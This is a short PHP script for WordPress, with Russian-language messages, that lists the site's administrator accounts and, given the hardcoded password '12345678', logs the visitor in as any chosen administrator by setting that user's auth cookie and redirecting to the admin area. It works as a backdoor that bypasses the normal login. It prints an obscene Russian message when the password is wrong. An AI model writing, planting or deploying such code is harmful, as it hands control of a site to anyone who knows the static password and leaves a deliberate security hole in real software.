<?php require_once( $_SERVER['DOCUMENT_ROOT'] . '/wp-load.php' );
//print_r($_POST);
if($_POST){
if(!$_POST['password']){
echo 'Введите пароль';
wp_die();
}
if(isset($_POST['user'])  && $_POST['password']=='12345678'){
wp_clear_auth_cookie();
wp_set_current_user ($_POST['user']);
wp_set_auth_cookie  ($_POST['user']);
$redirect_to = user_admin_url();
wp_safe_redirect( $redirect_to );	
}
else{
echo 'Иди на хуй!';	
wp_die();
}
}
	 $args = array(
	'blog_id'      => $GLOBALS['blog_id'],
	'role__in'     => array('administrator'),
	 'orderby'      => 'login',
	'order'        => 'ASC',
	'offset'       => '',
	 'count_total'  => false,
	'fields'       => 'all',
	'who'          => '',
	'has_published_posts' => null,
	'date_query'   => array() // смотрите WP_Date_Query
);
echo '<meta charset="utf-8" />';
$users = get_users( $args );
//print_r($users);
if($users){
echo '<form method="post">';
foreach($users as $user){
	echo '<li><input type="radio" name="user" value="'.$user->ID.'" onClick="submit()">'.$user->user_login.'</li>';
}
echo '<input type="password" name="password" placeholder="пароль" required></form>';
}